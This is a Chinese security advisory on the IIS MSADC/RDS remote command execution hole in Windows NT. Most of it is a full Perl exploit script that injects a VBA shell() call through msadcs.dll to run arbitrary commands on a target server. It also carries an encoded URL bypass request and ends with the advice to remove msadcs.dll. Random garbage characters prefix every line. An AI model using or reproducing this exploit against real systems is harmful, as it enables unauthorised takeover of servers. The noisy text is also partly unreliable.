IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
"J8;4p } :RT,< 涉及程序：
4[ LLnF-- Microsoft NT server
`\ W ^8';8+$ 描述：
7|+ |\ 7l# 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
S/nj5Lh m{b ZRkt 详细：
I9[ 1U 如果你没有时间读详细内容的话，就删除:
d%#!nq{vd c:\Program Files\Common Files\System\Msadc\msadcs.dll
`x{.z=xC 有关的安全问题就没有了。
X6LhM gnQo1q{ 4 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
"w npiB} d}{LM!s 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
E-yT 关于利用ODBC远程漏洞的描述，请参看:
M# \ < ?Do^stq'4 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm X$ 7Oo^1; 99l>CYXd 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
;ZQ- uz http://www.microsoft.com/security/bulletins/MS99-025faq.asp DU5 :+"
u3 v` #j 这里不再论述。
^CZCZ,v >lD; 0EN 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
w/b>awI \H Wcd| /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
n S_Ta 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
}xAie( s<[A0=LH
]pW86L% #将下面这段保存为txt文件，然后: "perl -x 文件名"
d]tv'|E13 +h0PR? #!perl
8YuJ8 KC #
Bk?8 zYp # MSADC/RDS 'usage' (aka exploit) script
"$X YIu T #
A /q2g7My # by rain.forest.puppy
D
Irgq|8 #
8F#osN # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
(GCG/8s # beta test and find errors!
` W@T'T" F%xK"l`& use Socket; use Getopt::Std;
\H AJ\9*w) getopts("e:vd:h:XR", \%args);
ze`1fO|% zVSx$6eiU print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
n;wwMMBM rwi w
Rh if (!defined $args{h} && !defined $args{R}) {
^:`oP"%-T print qq~
PK_ s#uC Usage: msadc.pl -h <host> { -d <delay> -X -v }
aF!E x -h <host> = host you want to scan (ip or domain)
\tY"BC4. -d <seconds> = delay between calls, default 1 second
u* 2fP]n -X = dump Index Server path table, if available
93j{.0]X -v = verbose
?hnx/z+uT -e = external dictionary file for step 5
S}[l*7 \V,c]I
Or a -R will resume a command session
pz{'1\_+9 Yu'a<5f ~; exit;}
Y9F)`1 7 nX|Q~x] $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
6^)rv-L~5y if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
j pRBER_X if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
t8QRi! \= if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%}P4kEY $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
MaO"#{i if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;f: gX `"\ w/W7N if (!defined $args{R}){ $ret = &has_msadc;
[E7MsX die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
.wmnnvtl , AEY$@!8
print "Please type the NT commandline you want to run (cmd /c assumed):\n"
(9 sIA*,} . "cmd /c ";
=. *98 $in=<STDIN>; chomp $in;
/@hJpz|+ $command="cmd /c " . $in ;
v?%LQKO Bq@zaMv if (defined $args{R}) {&load; exit;}
Tk*w3c"$ !nd*W"_gQ/ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
5{d\u E%'p &try_btcustmr;
iXFP5a>| X8i(~
B print "\nStep 2: Trying to make our own DSN...";
K B!5u 9 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
ib$nc2BP b Ye5jB 2Z
print "\nStep 3: Trying known DSNs...";
Kc #|Z &known_dsn;
DIaYo4 (u hd "
print "\nStep 4: Trying known .mdbs...";
{^}0 G^ &known_mdb;
<@G8ni `]=oo%(h if (defined $args{e}){
,l t8O.h-l print "\nStep 5: Trying dictionary of DSN names...";
maNW {"1 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
} fZ`IOf 0:=ZkEEeU print "Sorry Charley...maybe next time?\n";
Hp Vjee exit;
k `\R+WK$ }7s>B24J ##############################################################################
^e Gue 6/Fz co#N sub sendraw { # ripped and modded from whisker
; `dh
fcU sleep($delay); # it's a DoS on the server! At least on mine...
F%d \~Vj my ($pstr)=@_;
. ]@=es socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
X^@ I]. die("Socket problems\n");
+G F#?X0^ if(connect(S,pack "SnA4x8",2,80,$target)){
l"(6]Z 4 select(S); $|=1;
'?QuJFk i print $pstr; my @in=<S>;
yxt[=
C select(STDOUT); close(S);
.8WXC
return @in;
&a,OfSz } else { die("Can't connect...\n"); }}
e@#kRklV& lrWQOYf2 ##############################################################################
$ ((6=39s N587(wZ sub make_header { # make the HTTP request
Y&HK 1>M_ my $msadc=<<EOT
j;1 -p>z POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Iu@y(wyg User-Agent: ACTIVEDATA
(1R?s>3o Host: $ip
errH>D~ Content-Length: $clen
kq=V4-a[ Connection: Keep-Alive
20RXK1So I6!5Yj]O" ADCClientVersion:01.06
|RkcDrB~ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
H(
jXI N2'qpxOLI --!ADM!ROX!YOUR!WORLD!
&MZ$j46 Content-Type: application/x-varg
H9)m^ * Content-Length: $reqlen
~[WF_NU1y l _'[27 EOT
+ @9.$6N ; $msadc=~s/\n/\r\n/g;
D]a:@x`+Bz return $msadc;}
$?G"GQ !. f/,>%j=Ms ##############################################################################
"@A![iP LVJI_ O{fH sub make_req { # make the RDS request
6VP`evan my ($switch, $p1, $p2)=@_;
9>zcBG8f my $req=""; my $t1, $t2, $query, $dsn;
w%AcG~`j!B .d;Iht,[ if ($switch==1){ # this is the btcustmr.mdb query
X,aYK;q%z $query="Select * from Customers where City=" . make_shell();
u 's`*T@. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
oI:o"T77sA $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
7|\@zQ h ml0.$z elsif ($switch==2){ # this is general make table query
u]
:m"L M $query="create table AZZ (B int, C varchar(10))";
9SlNq05G7 $dsn="$p1";}
{>LIMG -f X"gCR n%tn elsif ($switch==3){ # this is general exploit table query
FLg *R/ $query="select * from AZZ where C=" . make_shell();
FGO[
|]7IN $dsn="$p1";}
%*aJLn+]_R ^-mRP\5 elsif ($switch==4){ # attempt to hork file info from index server
~R$~&x (b $query="select path from scope()";
JO=[YoTr $dsn="Provider=MSIDXS;";}
[,n c Zwcy4 >8 elsif ($switch==5){ # bad query
)"zvwgaW $query="select";
UYk>'\%H0 $dsn="$p1";}
`Y-|H;z 4'$g(+z $t1= make_unicode($query);
J"=1/,AS $t2= make_unicode($dsn);
%ms'n $req = "\x02\x00\x03\x00";
1im^17 X $req.= "\x08\x00" . pack ("S1", length($t1));
L
%ip> $req.= "\x00\x00" . $t1 ;
_&K $req.= "\x08\x00" . pack ("S1", length($t2));
SN4Q))dAU $req.= "\x00\x00" . $t2 ;
<YA&Dr3OD $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
[E#UGJ@ return $req;}
G}
eUL|S t8^m `W ##############################################################################
hcV JBK J=.`wZQkS sub make_shell { # this makes the shell() statement
vR0 ];{ return "'|shell(\"$command\")|'";}
2G$Spfe Iu hTP:[w) ##############################################################################
OD' ]: tXJU vish sub make_unicode { # quick little function to convert to unicode
e h,~^x5 my ($in)=@_; my $out;
V G/3x R&y for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
+T9:Udi return $out;}
7~#:>OjW > ~`C-K# ##############################################################################
S+TOSjfis cA6lge<{~ sub rdo_success { # checks for RDO return success (this is kludge)
Hw#d_P: my (@in) = @_; my $base=content_start(@in);
Bgmn2- if($in[$base]=~/multipart\/mixed/){
>0p$(>N] return 1 if( $in[$base+10]=~/^\x09\x00/ );}
+ [H h,I7 return 0;}
Xl@cHO=i 2Z20E$Cb ##############################################################################
f |u#2!7 q80 S[au sub make_dsn { # this makes a DSN for us
NEa>\K<\ my @drives=("c","d","e","f");
D&HV6# print "\nMaking DSN: ";
EyY.KxCB foreach $drive (@drives) {
np RS E v print "$drive: ";
sB69R:U; my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
!mXxAo "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
eAPXWWAZJ1 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Zo>]rKeV $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
p }[ zt#v return 0 if $2 eq "404"; # not found/doesn't exist
3>
/K0N|$ if($2 eq "200") {
ktDC/8 foreach $line (@results) {
Wu)>U return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
vM_:&j_?`` } return 0;}
^&g=u5
d0 yoA fc ##############################################################################
uYr fm:4S %e& 9. sub verify_exists {
kA7mLrON my ($page)=@_;
'U'yC2BI n my @results=sendraw("GET $page HTTP/1.0\n\n");
%Qk/_ R1 return $results[0];}
aZbw]0q@o BL &LeSa ##############################################################################
ExRe:^yU\ 3P;>XGCxZ sub try_btcustmr {
"fq{Y~F%` my @drives=("c","d","e","f");
KN-avu_Ix my @dirs=("winnt","winnt35","winnt351","win","windows");
%u;~kP|S% /r_~: 3F foreach $dir (@dirs) {
F5o+kz$; print "$dir -> "; # fun status so you can see progress
tnLAJ+ -M foreach $drive (@drives) {
|r bWYl.b print "$drive: "; # ditto
|*`Z*6n $reqlen=length( make_req(1,$drive,$dir) ) - 28;
)Pv9_XKJ $reqlenlen=length( "$reqlen" );
4V ~? . $clen= 206 + $reqlenlen + $reqlen;
*}8t{ F@k @Vu(XG my @results=sendraw(make_header() . make_req(1,$drive,$dir));
.H,xle if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
I" KN"v^ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
B-l'vVx 0>zbCubPH ##############################################################################
`7H 4Y&E u_rdmyq$x/ sub odbc_error {
xC tmXo my (@in)=@_; my $base;
Qqlup my $base = content_start(@in);
R i^[i}
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
}K3x $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
O eL}EVs8= $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
1T[et- $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(T2m"Yi: return $in[$base+4].$in[$base+5].$in[$base+6];}
\m1~jMz*>k print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
q /n, , ! print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
}*L(;r)q $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
#UbF9})q h9 eMcCU ##############################################################################
%dY<=x#b Xn{1 FJX/ sub verbose {
){UcS/GI= my ($in)=@_;
[p<w._b i return if !$verbose;
^_ m9KA print STDOUT "\n$in\n";}
^`G}gWBx}w #t+d iR ##############################################################################
&?(?vDFfZ g1( IR)U!z sub save {
6R^^ .tCs my ($p1, $p2, $p3, $p4)=@_;
& \f{E\A# open(OUT, ">rds.save") || print "Problem saving parameters...\n";
F >rH^F print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
_F`lq_C close OUT;}
MNV %
=G (P$H <FtH ##############################################################################
@mfEKU! #{\%rWnCm sub load {
O<V4HUW my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ej"+:. "\e open(IN,"<rds.save") || die("Couldn't open rds.save\n");
GN2Sn` ; @p=<IN>; close(IN);
r
>nG@ A $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
=y-@AU8 $target= inet_aton($ip) || die("inet_aton problems");
q7E~+p(>( print "Resuming to $ip ...";
hyFyP\u] $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
1aTB %F if($p[1]==1) {
hzvd t $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
.qZI$
l . $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
.Fp4:
e my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
bR)(H%I if (rdo_success(@results)){print "Success!\n";}
Bf8jPa / else { print "failed\n"; verbose(odbc_error(@results));}}
ruld B,n elsif ($p[1]==3){
$\U 4hHOo if(run_query("$p[3]")){
l~$+,U&XNe print "Success!\n";} else { print "failed\n"; }}
gp\<p-} elsif ($p[1]==4){
K9up:.{QQ if(run_query($drvst . "$p[3]")){
uwy:t!(j print "Success!\n"; } else { print "failed\n"; }}
rQ qW_t% exit;}
, JQp'e !/]WrGqbS ##############################################################################
3z c U%* Ob<{G" sub create_table {
e0,|Wm my ($in)=@_;
"9Q4 0w\ $reqlen=length( make_req(2,$in,"") ) - 28;
P`cq H(
$reqlenlen=length( "$reqlen" );
^0 \ $clen= 206 + $reqlenlen + $reqlen;
"[ZB+- |[0 my @results=sendraw(make_header() . make_req(2,$in,""));
2|*JSU.I return 1 if rdo_success(@results);
yL-YzF2 my $temp= odbc_error(@results); verbose($temp);
5l UF7:A># return 1 if $temp=~/Table 'AZZ' already exists/;
!*B'?|a<\ return 0;}
gq'Y!BBQy y1+*6| ##############################################################################
/~$WUAh 2so ! sub known_dsn {
A"dR{8&0 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}%{LJ}\Px my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
&keR~~/ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
:Ra,Eu "banner", "banners", "ads", "ADCDemo", "ADCTest");
Ay0U=#XP 9 %I?).5 foreach $dSn (@dsns) {
NUWDc]@J* print ".";
~ls[Sl@ next if (!is_access("DSN=$dSn"));
.ufTQ?Fe if(create_table("DSN=$dSn")){
r\-uJ~8N print "$dSn successful\n";
MS
81sN\d if(run_query("DSN=$dSn")){
'6cWS'9" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
>\P@^ h] print "Something's borked. Use verbose next time\n";}}} print "\n";}
P uA9X[= i/`m`qdg ##############################################################################
_ 4U5 AicBSqUke sub is_access {
ogHCt{' my ($in)=@_;
QLvHQtzwX $reqlen=length( make_req(5,$in,"") ) - 28;
jD<{t $reqlenlen=length( "$reqlen" );
i%#+\F.& $clen= 206 + $reqlenlen + $reqlen;
\F/hMXDlJ my @results=sendraw(make_header() . make_req(5,$in,""));
EIf5(/jo my $temp= odbc_error(@results);
[6 %VR qY verbose($temp); return 1 if ($temp=~/Microsoft Access/);
AQ ,'
6F9 return 0;}
%7IugHH9y BW}U%B^. ##############################################################################
p'*>vk 8hOk{xs8 sub run_query {
*
K D I}B> my ($in)=@_;
Y Q9'0F[l $reqlen=length( make_req(3,$in,"") ) - 28;
"4+ &-ms $reqlenlen=length( "$reqlen" );
jET{L e8i $clen= 206 + $reqlenlen + $reqlen;
N~goI #4 my @results=sendraw(make_header() . make_req(3,$in,""));
}Qn&^[[miL return 1 if rdo_success(@results);
"55skmD.P my $temp= odbc_error(@results); verbose($temp);
pN:Kdi return 0;}
dJeN bVd pfA|I*`XV ##############################################################################
!;Yg/'vD- : cem,#(= sub known_mdb {
iNtaDX| %/ my @drives=("c","d","e","f","g");
DS.RURzd{r my @dirs=("winnt","winnt35","winnt351","win","windows");
V@e?#iz my $dir, $drive, $mdb;
;qafT@
}C my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%Gz0^[+ ~:kZgUP_f # this is sparse, because I don't know of many
=n5zM._S- my @sysmdbs=( "\\catroot\\icatalog.mdb",
+%T\`6 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
U\4g#!qj "\\system32\\certmdb.mdb",
`w#Oih!6A| "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
[842&5Pd? m4hX ' F my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
Q('r<v96 "\\cfusion\\cfapps\\forums\\forums_.mdb",
|o H,
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
1an^1! "\\cfusion\\cfapps\\security\\realm_.mdb",
,&]S(|2%>t "\\cfusion\\cfapps\\security\\data\\realm.mdb",
ck ]Do!h "\\cfusion\\database\\cfexamples.mdb",
_E &A {HkJ "\\cfusion\\database\\cfsnippets.mdb",
0bc eI "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
FcR=v0) , "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
[w>$QR "\\cfusion\\brighttiger\\database\\cleam.mdb",
5,3'=mA6 "\\cfusion\\database\\smpolicy.mdb",
\8)U!9,$nn "\\cfusion\\database\cypress.mdb",
;(f) &Yom "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
wKtl+}} "\\website\\cgi-win\\dbsample.mdb",
aE`c%T):` "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
=)M/@T "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
&oP +$;Y ); #these are just
~bM4[*Q7 foreach $drive (@drives) {
yh Yb'GK foreach $dir (@dirs){
y6ECdVF foreach $mdb (@sysmdbs) {
$:=A'd2 print ".";
,~a QL if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
_( _a*ml print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
0IwA#[m1` if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
^nT/i
.#_ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
9v;Vv0k_ } else { print "Something's borked. Use verbose next time\n"; }}}}}
B8nf,dj?X l7XUXbYp&= foreach $drive (@drives) {
?x$"+, foreach $mdb (@mdbs) {
3B1X Zm print ".";
%}SGl${- if(create_table($drv . $drive . $dir . $mdb)){
RHaI ~jb print "\n" . $drive . $dir . $mdb . " successful\n";
K#%&0D! if(run_query($drv . $drive . $dir . $mdb)){
c&r70L, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Ee)T1 ~;W } else { print "Something's borked. Use verbose next time\n"; }}}}
g-Mj.owu= }
@G BxL*e
|XT)QK1 ##############################################################################
-MW_| MG NO~*T ?&
sub hork_idx {
q4R5<LW" print "\nAttempting to dump Index Server tables...\n";
-(~.6WnhS print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
-d~4A
$reqlen=length( make_req(4,"","") ) - 28;
GQ t8p[! $reqlenlen=length( "$reqlen" );
ta35 K" $clen= 206 + $reqlenlen + $reqlen;
)) R5(R my @results=sendraw2(make_header() . make_req(4,"",""));
\.C +ue if (rdo_success(@results)){
Q;[,Q~c[u my $max=@results; my $c; my %d;
'z0:Ccbj for($c=19; $c<$max; $c++){
w&$`cD $results[$c]=~s/\x00//g;
udxFz2>_l$ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
)2pbpbWX> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
cWEE% $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
qS403+Su1= $d{"$1$2"}="";}
'= _/ 1F*q foreach $c (keys %d){ print "$c\n"; }
= 6tHsN23 } else {print "Index server doesn't seem to be installed.\n"; }}
K-e9>fmB# zAK+8{, ##############################################################################
~"!]
3C,L *'OxAfa#x sub dsn_dict {
u}>#Eb open(IN, "<$args{e}") || die("Can't open external dictionary\n");
" W!M[qBW while(<IN>){
/mXBvY $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
B\<Q ;RI2; next if (!is_access("DSN=$dSn"));
Da&vb
D-Bg if(create_table("DSN=$dSn")){
9 :fOYT$8 print "$dSn successful\n";
D;oe2E{I if(run_query("DSN=$dSn")){
`sUZuWL_ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
hh Sy0 print "Something's borked. Use verbose next time\n";}}}
l\BVS ) print "\n"; close(IN);}
iDN;m` a k ]W[ ` ##############################################################################
3 ,>0a g3Ec"_>P sub sendraw2 { # ripped and modded from whisker
:@kGAI sleep($delay); # it's a DoS on the server! At least on mine...
\X<bH&x:z my ($pstr)=@_;
4oK?-|=? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
I'\kFjc die("Socket problems\n");
g+Dz scIT if(connect(S,pack "SnA4x8",2,80,$target)){
nnCG g+l
print "Connected. Getting data";
p%iGc<vHX open(OUT,">raw.out"); my @in;
un shH < select(S); $|=1; print $pstr;
A54N\x, while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
2]I4M[|&z close(OUT); select(STDOUT); close(S); return @in;
~oI1 zNz/ } else { die("Can't connect...\n"); }}
&/mA7Vf>eR CJ(NgYC h ##############################################################################
k xP-,MD cYFiJJLG] sub content_start { # this will take in the server headers
_Bj)r}~7# my (@in)=@_; my $c;
f _[<L for ($c=1;$c<500;$c++) {
_= +V/= if($in[$c] =~/^\x0d\x0a/){
z|=}1; (. if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
"nZ*{uv else { return $c+1; }}}
kz{/(t return -1;} # it should never get here actually
>^%7@i:@U q/4YS0CqE ##############################################################################
ipQLK{]t W"): -Wq sub funky {
X'%E\/~u my (@in)=@_; my $error=odbc_error(@in);
T^:UBjK6t{ if($error=~/ADO could not find the specified provider/){
k9)jjR*XxG print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Fkvl%n exit;}
5:O-tgig. if($error=~/A Handler is required/){
W)9 K`hM6 print "\nServer has custom handler filters (they most likely are patched)\n";
JXCCTUO exit;}
szsk;a if($error=~/specified Handler has denied Access/){
Is]aj-#r print "\nServer has custom handler filters (they most likely are patched)\n";
gf sI6/Y exit;}}
7G.#O}).b KiI!frm1 ##############################################################################
m 0LTx\w! Z^V6K3GSz- sub has_msadc {
Mzsfo;kk+ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
4$qWiG~ my $base=content_start(@results);
8i6Ps$T return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
R16 '?, return 0;}
vN| l\!~ A'G 66ei ########################
Uu!f,L;ty @Gx.q&H Qi_>Mg`x 解决方案：
/V8}eZ97 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
s_x:T<] 2、移除web 目录: /msadc
